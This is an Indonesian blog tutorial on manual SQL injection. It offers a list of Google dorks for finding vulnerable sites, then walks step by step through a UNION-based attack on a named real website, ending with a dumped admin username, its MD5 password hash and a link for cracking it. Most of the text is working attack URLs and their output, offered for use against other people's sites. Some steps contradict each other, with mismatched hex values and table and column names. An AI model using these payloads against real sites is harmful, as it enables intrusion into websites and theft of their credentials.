Pages

SQL Injection Manual


Thank's To : R4ST4_R00T | Indonesian Security Tester

Sebelum kita mempelajari Teknik SQL Injection Manual, sobat harus mempersiapkan syarat-syaratnya dulu.
Apa itu syaratnya???
1. Keinginan yang tinggi untuk belajar
2. Jangan tegang alias relax aja. hehe
3. Jangan pantang menyerah
4. Yang keempat ini sunah. hehe, yaitu sediakan kopi atau udud dulu ya. :D

Oke mari kita belajar

Pertama pergi ke http://google.com dan masikin salah satu Dork SQL Injection berikut.

inurl:stnl_iframe.php?newsletter=
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:Pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?num=
inurl:reagir.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?avd=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:detailproduct.php?id=

Atau menggunakan Dork
intext:"You have an error in your SQL syntax"


Xline7 menggunakan dork "article.php?id="
dan Xline7 mendapat
http://www.chronicleias.com/article.php?id=3

untuk mengecek bug atau celah supaya bisa diinject pada suatu web tambahkan Single Quote ( ' ) dibelakang url.
Seperti ini
http://www.chronicleias.com/article.php?id=3'

ternyata ada bug-nya, muncul pesan error :
Database error: Invalid SQL: SELECT * FROM article WHERE id = 3\' AND status = 1
MySQL Error: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' AND status = 1' at line 1)
Session halted.

Setelah menemukan error tadi, selanjutnya kita mengecek jumlah columnnya. Untuk mencari column gunakan perintah [order+by]
Seperti ini
http://www.chronicleias.com/article.php?id=3+order+by+1--

dimulai dengan angka 1, selanjutnya 2, dst hingga muncul pesan error.
Pada target Xline7 kali ini, error muncul pada angka 10 http://www.chronicleias.com/article.php?id=3+order+by+10--
Muncul pesan error:
Database error: Invalid SQL: SELECT * FROM article WHERE id = 3 order by 10-- AND status = 1
MySQL Error: 1054 (Unknown column '10' in 'order clause')
Session halted.

Jadi angka yang diambil adalah 10-1 9 (jumlah column adalah 9) Selanjutnya kita akan mencari "angka ajaib" dimana kita bisa melakukan injection dengan perintah [union+all+select]
Sehingga menjadi
http://www.chronicleias.com/article.php?id=-3+union+all+select+1,2,3,4,5,6,7,8,9--

Jangan lupa tambahkan tanda kurang ( - ) didepan angka parameter ID 3

Misalnya muncul "angka ajaib" : 3, 5 atau 8 kita pilih salah satunya saja. Kebetulan pada target Xline7 munculnya angka 5. Jadi Xline7 menggunakan angka 5 untuk mengeksekusi.

Apabila tidak muncul sebuah angka, maka lihat title web tersebut. Karena target Xline7 kali ini tidak muncul pada webnya, sehingga Xline7 melihat titlenya dengan cara source code lalu cari kata TITLE pada source code tersebut.

Selanjutnya kita cari versi Database MySql-nya dengan perintah [version()] atau [@@version] pada angka 5 (Angka Ajaib)
Seperti ini
http://www.chronicleias.com/article.php?id=-3+union+all+select+1,2,3,4,version(),6,7,8,9--

muncul tulisan : 5.1.68-cll

wowwwww..... nyahahaha
ternyata versi 5, kalau versi 4 Xline7 angkat tangan karena versi 5 lebih mudah. Kalau targetnya mempunyai database MySQL versi 4, yang kita lakukan yaitu menebak-nebak tablenya... hahaha.

Selanjutnya kita akan mencari table-nya dgn perintah [group_concat(table_name)] pada salah satu angka ajaib.
Dan tambahkan [+from+information_schema.tables+where+table_schema=database()--] di belakang angka 18
sehingga menjadi
http://www.chronicleias.com/article.php?id=-3+union+all+select+1,2,3,4,group_concat(table_name),6,7,8,9+from+information_schema.tables+where+table_schema=database()--


Akan muncul nama-nama table :
admin,article,batch,cms,content,crash_batch,curriculum,feedback,gs_batch,gs_concept,interview_2011,june_batch,june_batch_old,mains_2012,mains_2012_topic_details,members,new_programm,package,package_request,qna_comment,qna_reply,toppers,toppers1,video,workshop_2012

Selanjutnya kita cari column dari table yg ada hubungannya dengan user+password admin, kali ini Xline7 ambil table "admin"

sebelumnya kata "admin" tersebut kita convert dulu ke HEXA agar dapat dibaca oleh SQL di sini :
http://snarkles(.)net/scripts/sneak/sneak.php
ketik : login pilih ASCII to Hex hasilnya : 61646d696e

Perintah selanjutnya adalah [group_concat(column_name)] pada angka ajaib dan [+from+information_schema.columns+where+table_name=0xHEXA--] di akhir URL.
Ganti HEXA dengan hasil convert tadi yaitu : 6c6f67696e tambahkan 0x didepan HEXA agar server dapat mengetahui bahwa itu telah diconvert ke HEXA
Seperti ini
http://www.chronicleias.com/article.php?id=-3+union+all+select+1,2,3,4,group_concat(column_name),6,7,8,9+from+information_schema.columns+where+table_name=0x61646d696e--

muncul column :
id,email,from_email,username,password,comp_name,url,meta_title,meta_descr,meta_keyword,exam_trial,copy_text,userid,username,password,lastlogin,lastlogin_c,realname

Lalu pilih yang mana ya??? hehe.
Pilih column username dan password aja ya.

Untuk melihat isi dari column tersebut gunakan perintah [group_concat(column5,0x3a,column6)] pada angka ajaib 5 dan [+from+NAMATABLE--] pada akhir URL.
Ganti column5 dengan "username" dan column6 dengan "password" 0x3a adalah tanda titik dua ( : ) yang telah diconvert ke HEXA. NAMA TABLE diganti dengan "admin" untuk mengambil informasi dari table yang bernama "admin"
Seperti ini
http://www.chronicleias.com/article.php?id=-3+union+all+select+1,2,3,4,group_concat(user,0x3a,pass),6,7,8,9+from+login--

hasil : jha:e739279cb28cdafd7373618313803524

Ketemu deh. hehehe
Password tersebut masih berbentuk hash dan harus di decrypt dulu. Kita bisa decrypt di http://md5decrypter.co.uk

Untuk selanjutnya silahkan dilanjutkan sendiri ya, karena Teknik SQL Injection itu gunanya untuk mencari data seperti username dan password seperti yang telah kita pelajari tadi. Sebenernya bukan untuk mencari itu saja sih, karena ada perintah2 lain juga. Namun kita cuma mempelajari untuk mencari itu saja.

Unknown

Phasellus facilisis convallis metus, ut imperdiet augue auctor nec. Duis at velit id augue lobortis porta. Sed varius, enim accumsan aliquam tincidunt, tortor urna vulputate quam, eget finibus urna est in augue.

Tidak ada komentar:

Posting Komentar